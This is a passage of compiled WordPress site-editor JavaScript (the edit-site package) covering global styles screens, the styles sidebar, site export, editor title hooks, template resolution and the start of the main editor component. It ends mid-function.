      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
        element: "heading"
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/caption",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
        element: "caption"
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/typography/button",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_typography_element, {
        element: "button"
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/colors",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_colors, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/shadows",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenShadows, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/shadows/edit/:category/:slug",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenShadowsEdit, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/layout",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_layout, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/css",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_css, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/revisions",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_revisions, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: "/background",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_background, {})
    }), blocks.map(block => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
      path: '/blocks/' + encodeURIComponent(block.name),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block, {
        name: block.name
      })
    }, 'menu-block-' + block.name)), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextScreens, {}), blocks.map(block => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextScreens, {
      name: block.name,
      parentMenu: '/blocks/' + encodeURIComponent(block.name)
    }, 'screens-block-' + block.name)), 'style-book' === editorCanvasContainerView && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesStyleBook, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesActionMenu, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesBlockLink, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesEditorCanvasContainerLink, {})]
  });
}

/* harmony default export */ const global_styles_ui = (GlobalStylesUI);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/index.js


;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-sidebar/default-sidebar.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const {
  ComplementaryArea,
  ComplementaryAreaMoreMenuItem
} = unlock(external_wp_editor_namespaceObject.privateApis);
function DefaultSidebar({
  className,
  identifier,
  title,
  icon,
  children,
  closeLabel,
  header,
  headerClassName,
  panelClassName,
  isActiveByDefault
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryArea, {
      className: className,
      scope: "core",
      identifier: identifier,
      title: title,
      icon: icon,
      closeLabel: closeLabel,
      header: header,
      headerClassName: headerClassName,
      panelClassName: panelClassName,
      isActiveByDefault: isActiveByDefault,
      children: children
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaMoreMenuItem, {
      scope: "core",
      identifier: identifier,
      icon: icon,
      children: title
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-sidebar/index.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */







const {
  interfaceStore: global_styles_sidebar_interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useLocation: global_styles_sidebar_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function GlobalStylesSidebar() {
  const {
    query
  } = global_styles_sidebar_useLocation();
  const {
    canvas = 'view',
    name
  } = query;
  const {
    shouldClearCanvasContainerView,
    isStyleBookOpened,
    showListViewByDefault,
    hasRevisions,
    isRevisionsOpened,
    isRevisionsStyleBookOpened
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getActiveComplementaryArea
    } = select(global_styles_sidebar_interfaceStore);
    const {
      getEditorCanvasContainerView
    } = unlock(select(store));
    const canvasContainerView = getEditorCanvasContainerView();
    const _isVisualEditorMode = 'visual' === select(external_wp_editor_namespaceObject.store).getEditorMode();
    const _isEditCanvasMode = 'edit' === canvas;
    const _showListViewByDefault = select(external_wp_preferences_namespaceObject.store).get('core', 'showListViewByDefault');
    const {
      getEntityRecord,
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    return {
      isStyleBookOpened: 'style-book' === canvasContainerView,
      shouldClearCanvasContainerView: 'edit-site/global-styles' !== getActiveComplementaryArea('core') || !_isVisualEditorMode || !_isEditCanvasMode,
      showListViewByDefault: _showListViewByDefault,
      hasRevisions: !!globalStyles?._links?.['version-history']?.[0]?.count,
      isRevisionsStyleBookOpened: 'global-styles-revisions:style-book' === canvasContainerView,
      isRevisionsOpened: 'global-styles-revisions' === canvasContainerView
    };
  }, [canvas]);
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (shouldClearCanvasContainerView) {
      setEditorCanvasContainerView(undefined);
    }
  }, [shouldClearCanvasContainerView, setEditorCanvasContainerView]);
  const {
    setIsListViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const toggleRevisions = () => {
    setIsListViewOpened(false);
    if (isRevisionsStyleBookOpened) {
      setEditorCanvasContainerView('style-book');
      return;
    }
    if (isRevisionsOpened) {
      setEditorCanvasContainerView(undefined);
      return;
    }
    if (isStyleBookOpened) {
      setEditorCanvasContainerView('global-styles-revisions:style-book');
    } else {
      setEditorCanvasContainerView('global-styles-revisions');
    }
  };
  const toggleStyleBook = () => {
    if (isRevisionsOpened) {
      setEditorCanvasContainerView('global-styles-revisions:style-book');
      return;
    }
    if (isRevisionsStyleBookOpened) {
      setEditorCanvasContainerView('global-styles-revisions');
      return;
    }
    setIsListViewOpened(isStyleBookOpened && showListViewByDefault);
    setEditorCanvasContainerView(isStyleBookOpened ? undefined : 'style-book');
  };
  const {
    getActiveComplementaryArea
  } = (0,external_wp_data_namespaceObject.useSelect)(global_styles_sidebar_interfaceStore);
  const {
    enableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(global_styles_sidebar_interfaceStore);
  const previousActiveAreaRef = (0,external_wp_element_namespaceObject.useRef)(null);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (name === 'styles' && canvas === 'edit') {
      previousActiveAreaRef.current = getActiveComplementaryArea('core');
      enableComplementaryArea('core', 'edit-site/global-styles');
    } else if (previousActiveAreaRef.current) {
      enableComplementaryArea('core', previousActiveAreaRef.current);
    }
  }, [name, enableComplementaryArea, canvas, getActiveComplementaryArea]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DefaultSidebar, {
    className: "edit-site-global-styles-sidebar",
    identifier: "edit-site/global-styles",
    title: (0,external_wp_i18n_namespaceObject.__)('Styles'),
    icon: library_styles,
    closeLabel: (0,external_wp_i18n_namespaceObject.__)('Close Styles'),
    panelClassName: "edit-site-global-styles-sidebar__panel",
    header: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
      className: "edit-site-global-styles-sidebar__header",
      gap: 1,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
          className: "edit-site-global-styles-sidebar__header-title",
          children: (0,external_wp_i18n_namespaceObject.__)('Styles')
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
        justify: "flex-end",
        gap: 1,
        className: "edit-site-global-styles-sidebar__header-actions",
        children: [!isMobileViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            icon: library_seen,
            label: (0,external_wp_i18n_namespaceObject.__)('Style Book'),
            isPressed: isStyleBookOpened || isRevisionsStyleBookOpened,
            accessibleWhenDisabled: true,
            disabled: shouldClearCanvasContainerView,
            onClick: toggleStyleBook,
            size: "compact"
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            label: (0,external_wp_i18n_namespaceObject.__)('Revisions'),
            icon: library_backup,
            onClick: toggleRevisions,
            accessibleWhenDisabled: true,
            disabled: !hasRevisions,
            isPressed: isRevisionsOpened || isRevisionsStyleBookOpened,
            size: "compact"
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesMenuSlot, {})]
      })]
    }),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(global_styles_ui, {})
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/download.js
/**
 * WordPress dependencies
 */


const download = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z"
  })
});
/* harmony default export */ const library_download = (download);

;// external ["wp","blob"]
const external_wp_blob_namespaceObject = window["wp"]["blob"];
;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/site-export.js
/**
 * WordPress dependencies
 */








function SiteExport() {
  const {
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  async function handleExport() {
    try {
      const response = await external_wp_apiFetch_default()({
        path: '/wp-block-editor/v1/export',
        parse: false,
        headers: {
          Accept: 'application/zip'
        }
      });
      const blob = await response.blob();
      const contentDisposition = response.headers.get('content-disposition');
      const contentDispositionMatches = contentDisposition.match(/=(.+)\.zip/);
      const fileName = contentDispositionMatches[1] ? contentDispositionMatches[1] : 'edit-site-export';
      (0,external_wp_blob_namespaceObject.downloadBlob)(fileName + '.zip', blob, 'application/zip');
    } catch (errorResponse) {
      let error = {};
      try {
        error = await errorResponse.json();
      } catch (e) {}
      const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the site export.');
      createErrorNotice(errorMessage, {
        type: 'snackbar'
      });
    }
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
    role: "menuitem",
    icon: library_download,
    onClick: handleExport,
    info: (0,external_wp_i18n_namespaceObject.__)('Download your theme with updated templates and styles.'),
    children: (0,external_wp_i18n_namespaceObject._x)('Export', 'site exporter menu item')
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/welcome-guide-menu-item.js
/**
 * WordPress dependencies
 */





function WelcomeGuideMenuItem() {
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
    onClick: () => toggle('core/edit-site', 'welcomeGuide'),
    children: (0,external_wp_i18n_namespaceObject.__)('Welcome Guide')
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/more-menu/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




const {
  ToolsMoreMenuGroup,
  PreferencesModal
} = unlock(external_wp_editor_namespaceObject.privateApis);
function MoreMenu() {
  const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_coreData_namespaceObject.store).getCurrentTheme().is_block_theme;
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ToolsMoreMenuGroup, {
      children: [isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteExport, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideMenuItem, {})]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, {})]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-editor-iframe-props.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */

const {
  useLocation: use_editor_iframe_props_useLocation,
  useHistory: use_editor_iframe_props_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useEditorIframeProps() {
  const {
    query,
    path
  } = use_editor_iframe_props_useLocation();
  const history = use_editor_iframe_props_useHistory();
  const {
    canvas = 'view'
  } = query;
  const currentPostIsTrashed = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_editor_namespaceObject.store).getCurrentPostAttribute('status') === 'trash';
  }, []);
  const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (canvas === 'edit') {
      setIsFocused(false);
    }
  }, [canvas]);

  // In view mode, make the canvas iframe be perceived and behave as a button
  // to switch to edit mode, with a meaningful label and no title attribute.
  const viewModeIframeProps = {
    'aria-label': (0,external_wp_i18n_namespaceObject.__)('Edit'),
    'aria-disabled': currentPostIsTrashed,
    title: null,
    role: 'button',
    tabIndex: 0,
    onFocus: () => setIsFocused(true),
    onBlur: () => setIsFocused(false),
    onKeyDown: event => {
      const {
        keyCode
      } = event;
      if ((keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE) && !currentPostIsTrashed) {
        event.preventDefault();
        history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
          canvas: 'edit'
        }), {
          transition: 'canvas-mode-edit-transition'
        });
      }
    },
    onClick: () => history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
      canvas: 'edit'
    }), {
      transition: 'canvas-mode-edit-transition'
    }),
    onClickCapture: event => {
      if (currentPostIsTrashed) {
        event.preventDefault();
        event.stopPropagation();
      }
    },
    readonly: true
  };
  return {
    className: dist_clsx('edit-site-visual-editor__editor-canvas', {
      'is-focused': isFocused && canvas === 'view'
    }),
    ...(canvas === 'view' ? viewModeIframeProps : {})
  };
}

;// ./node_modules/@wordpress/edit-site/build-module/components/routes/use-title.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */

const {
  useLocation: use_title_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function useTitle(title) {
  const location = use_title_useLocation();
  const siteTitle = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', 'site')?.title, []);
  const isInitialLocationRef = (0,external_wp_element_namespaceObject.useRef)(true);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    isInitialLocationRef.current = false;
  }, [location]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // Don't update or announce the title for initial page load.
    if (isInitialLocationRef.current) {
      return;
    }
    if (title && siteTitle) {
      // @see https://github.com/WordPress/wordpress-develop/blob/94849898192d271d533e09756007e176feb80697/src/wp-admin/admin-header.php#L67-L68
      const formattedTitle = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: Admin document title. 1: Admin screen name, 2: Network or site name. */
      (0,external_wp_i18n_namespaceObject.__)('%1$s ‹ %2$s ‹ Editor — WordPress'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle));
      document.title = formattedTitle;

      // Announce title on route change for screen readers.
      (0,external_wp_a11y_namespaceObject.speak)(title, 'assertive');
    }
  }, [title, siteTitle, location]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-editor-title.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  getTemplateInfo
} = unlock(external_wp_editor_namespaceObject.privateApis);
function useEditorTitle(postType, postId) {
  const {
    title,
    isLoaded
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentTheme;
    const {
      getEditedEntityRecord,
      getCurrentTheme,
      hasFinishedResolution
    } = select(external_wp_coreData_namespaceObject.store);
    if (!postId) {
      return {
        isLoaded: false
      };
    }
    const _record = getEditedEntityRecord('postType', postType, postId);
    const {
      default_template_types: templateTypes = []
    } = (_getCurrentTheme = getCurrentTheme()) !== null && _getCurrentTheme !== void 0 ? _getCurrentTheme : {};
    const templateInfo = getTemplateInfo({
      template: _record,
      templateTypes
    });
    const _isLoaded = hasFinishedResolution('getEditedEntityRecord', ['postType', postType, postId]);
    return {
      title: templateInfo.title,
      isLoaded: _isLoaded
    };
  }, [postType, postId]);
  let editorTitle;
  if (isLoaded) {
    var _POST_TYPE_LABELS$pos;
    editorTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: A breadcrumb trail for the Admin document title. 1: title of template being edited, 2: type of template (Template or Template Part).
    (0,external_wp_i18n_namespaceObject._x)('%1$s ‹ %2$s', 'breadcrumb trail'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), (_POST_TYPE_LABELS$pos = POST_TYPE_LABELS[postType]) !== null && _POST_TYPE_LABELS$pos !== void 0 ? _POST_TYPE_LABELS$pos : POST_TYPE_LABELS[TEMPLATE_POST_TYPE]);
  }

  // Only announce the title once the editor is ready to prevent "Replace"
  // action in <URLQueryController> from double-announcing.
  useTitle(isLoaded && editorTitle);
}
/* harmony default export */ const use_editor_title = (useEditorTitle);

;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-adapt-editor-to-canvas.js
/**
 * WordPress dependencies
 */





function useAdaptEditorToCanvas(canvas) {
  const {
    clearSelectedBlock
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const {
    setDeviceType,
    closePublishSidebar,
    setIsListViewOpened,
    setIsInserterOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const {
    get: getPreference
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_preferences_namespaceObject.store);
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    const isMediumOrBigger = window.matchMedia('(min-width: 782px)').matches;
    registry.batch(() => {
      clearSelectedBlock();
      setDeviceType('Desktop');
      closePublishSidebar();
      setIsInserterOpened(false);

      // Check if the block list view should be open by default.
      // If `distractionFree` mode is enabled, the block list view should not be open.
      // This behavior is disabled for small viewports.
      if (isMediumOrBigger && canvas === 'edit' && getPreference('core', 'showListViewByDefault') && !getPreference('core', 'distractionFree')) {
        setIsListViewOpened(true);
      } else {
        setIsListViewOpened(false);
      }
    });
  }, [canvas, registry, clearSelectedBlock, setDeviceType, closePublishSidebar, setIsInserterOpened, setIsListViewOpened, getPreference]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/editor/use-resolve-edited-entity.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  useLocation: use_resolve_edited_entity_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const postTypesWithoutParentTemplate = [TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE, NAVIGATION_POST_TYPE, PATTERN_TYPES.user];
const authorizedPostTypes = ['page', 'post'];
function useResolveEditedEntity() {
  const {
    name,
    params = {},
    query
  } = use_resolve_edited_entity_useLocation();
  const {
    postId = query?.postId
  } = params; // Fallback to query param for postId for list view routes.
  let postType;
  if (name === 'navigation-item') {
    postType = NAVIGATION_POST_TYPE;
  } else if (name === 'pattern-item') {
    postType = PATTERN_TYPES.user;
  } else if (name === 'template-part-item') {
    postType = TEMPLATE_PART_POST_TYPE;
  } else if (name === 'template-item' || name === 'templates') {
    postType = TEMPLATE_POST_TYPE;
  } else if (name === 'page-item' || name === 'pages') {
    postType = 'page';
  } else if (name === 'post-item' || name === 'posts') {
    postType = 'post';
  }
  const homePage = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getHomePage
    } = unlock(select(external_wp_coreData_namespaceObject.store));
    return getHomePage();
  }, []);

  /**
   * This is a hook that recreates the logic to resolve a template for a given WordPress postID postTypeId
   * in order to match the frontend as closely as possible in the site editor.
   *
   * It is not possible to rely on the server logic because there maybe unsaved changes that impact the template resolution.
   */
  const resolvedTemplateId = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // If we're rendering a post type that doesn't have a template
    // no need to resolve its template.
    if (postTypesWithoutParentTemplate.includes(postType) && postId) {
      return;
    }

    // Don't trigger resolution for multi-selected posts.
    if (postId && postId.includes(',')) {
      return;
    }
    const {
      getTemplateId
    } = unlock(select(external_wp_coreData_namespaceObject.store));

    // If we're rendering a specific page, we need to resolve its template.
    // The site editor only supports pages for now, not other CPTs.
    if (postType && postId && authorizedPostTypes.includes(postType)) {
      return getTemplateId(postType, postId);
    }

    // If we're rendering the home page, and we have a static home page, resolve its template.
    if (homePage?.postType === 'page') {
      return getTemplateId('page', homePage?.postId);
    }
    if (homePage?.postType === 'wp_template') {
      return homePage?.postId;
    }
  }, [homePage, postId, postType]);
  const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (postTypesWithoutParentTemplate.includes(postType) && postId) {
      return {};
    }
    if (postType && postId && authorizedPostTypes.includes(postType)) {
      return {
        postType,
        postId
      };
    }
    // TODO: for post types lists we should probably not render the front page, but maybe a placeholder
    // with a message like "Select a page" or something similar.
    if (homePage?.postType === 'page') {
      return {
        postType: 'page',
        postId: homePage?.postId
      };
    }
    return {};
  }, [homePage, postType, postId]);
  if (postTypesWithoutParentTemplate.includes(postType) && postId) {
    return {
      isReady: true,
      postType,
      postId,
      context
    };
  }
  if (!!homePage) {
    return {
      isReady: resolvedTemplateId !== undefined,
      postType: TEMPLATE_POST_TYPE,
      postId: resolvedTemplateId,
      context
    };
  }
  return {
    isReady: false
  };
}
function useSyncDeprecatedEntityIntoState({
  postType,
  postId,
  context,
  isReady
}) {
  const {
    setEditedEntity
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (isReady) {
      setEditedEntity(postType, postId, context);
    }
  }, [isReady, postType, postId, context, setEditedEntity]);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/editor/site-preview.js
/**
 * WordPress dependencies
 */






function SitePreview() {
  const siteUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteData = getEntityRecord('root', '__unstableBase');
    return siteData?.home;
  }, []);

  // If theme is block based, return the Editor, otherwise return the site preview.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("iframe", {
    src: (0,external_wp_url_namespaceObject.addQueryArgs)(siteUrl, {
      // Parameter for hiding the admin bar.
      wp_site_preview: 1
    }),
    title: (0,external_wp_i18n_namespaceObject.__)('Site Preview'),
    style: {
      display: 'block',
      width: '100%',
      height: '100%',
      backgroundColor: '#fff'
    },
    onLoad: event => {
      // Make interactive elements unclickable.
      const document = event.target.contentDocument;
      const focusableElements = external_wp_dom_namespaceObject.focus.focusable.find(document);
      focusableElements.forEach(element => {
        element.style.pointerEvents = 'none';
        element.tabIndex = -1;
        element.setAttribute('aria-hidden', 'true');
      });
    }
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/editor/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */















/**
 * Internal dependencies
 */






















const {
  Editor,
  BackButton
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  useHistory: editor_useHistory,
  useLocation: editor_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
  BlockKeyboardShortcuts
} = unlock(external_wp_blockLibrary_namespaceObject.privateApis);
const toggleHomeIconVariants = {
  edit: {
    opacity: 0,
    scale: 0.2
  },
  hover: {
    opacity: 1,
    scale: 1,
    clipPath: 'inset( 22% round 2px )'
  }
};
const siteIconVariants = {
  edit: {
    clipPath: 'inset(0% round 0px)'
  },
  hover: {
    clipPath: 'inset( 22% round 2px )'
  },
  tap: {
    clipPath: 'inset(0% round 0px)'
  }
};
function getListPathForPostType(postType) {
  switch (postType) {
    case 'navigation':
      return '/navigation';
    case 'wp_block':
      return '/pattern?postType=wp_block';
    case 'wp_template_part':
      return '/pattern?postType=wp_template_part';
    case 'wp_template':
      return '/template';
    case 'page':
      return '/page';
    case 'post':
      return '/';
  }
  throw 'Unknown post type';
}
function getNavigationPath(location, postType) {
  const {
    path,
    name
  } = location;
  if (['pattern-item', 'template-part-item', 'page-item', 'template-item', 'post-item'].includes(name)) {
    return getListPathForPostType(postType);
  }
  return (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
    canvas: undefined
  });
}
function EditSiteEditor({
  isHomeRoute = false,
  isPostsList = false
}) {
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const location = editor_useLocation();
  const {
    canvas = 'view'
  } = location.query;
  const isLoading = useIsSiteEditorLoading();
  useAdaptEditorToCanvas(canvas);
  const entity = useResolveEditedEntity();
  // deprecated sync state with url
  useSyncDeprecatedEntityIntoState(entity);
  const {
    postType,
    postId,
    context
  } = entity;
  const {
    isBlockBasedTheme,
    editorCanvasView,
    currentPostIsTrashed,
    hasSiteIcon
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorCanvasContainerView
    } = unlock(select(store));
    const {
      getCurrentTheme,
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteData = getEntityRecord('root', '__unstableBase', undefined);
    return {
      isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
      editorCanvasView: getEditorCanvasContainerView(),
      currentPostIsTrashed: select(external_wp_editor_namespaceObject.store).getCurrentPostAttribute('status') === 'trash',
      hasSiteIcon: !!siteData?.site_icon_url
    };
  }, []);
  const postWithTemplate = !!context?.postId;
  use_editor_title(postWithTemplate ? context.postType : postType, postWithTemplate ? context.postId : postId);
  const _isPreviewingTheme = isPreviewingTheme();
  const hasDefaultEditorCanvasView = !useHasEditorCanvasContainer();
  const iframeProps = useEditorIframeProps();
  const isEditMode = canvas === 'edit';
  const loadingProgressId = (0,external_wp_compose_namespaceObject.useInstanceId)(CanvasLoader, 'edit-site-editor__loading-progress');
  const settings = useSpecificEditorSettings();
  const styles = (0,external_wp_element_namespaceObject.useMemo)(() => [...settings.styles, {
    // Forming a "block formatting context" to prevent margin collapsing.
    // @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
    css: canvas === 'view' ? `body{min-height: 100vh; ${currentPostIsTrashed ? '' : 'cursor: pointer;'}}` : undefined
  }], [settings.styles, canvas, currentPostIsTrashed]);
  const {
    resetZoomLevel
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
  const {
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const history = editor_useHistory();
  const onActionPerformed = (0,external_wp_element_namespaceObject.useCallback)((actionId, items) => {
    switch (actionId) {
      case 'move-to-trash':
      case 'delete-post':
        {
          history.navigate(getListPathForPostType(postWithTemplate ? context.postType : postType));
        }
        break;
      case 'duplicate-post':
        {
          const newItem = items[0];
          const _title = typeof newItem.title === 'string' ? newItem.title : newItem.title?.rendered;
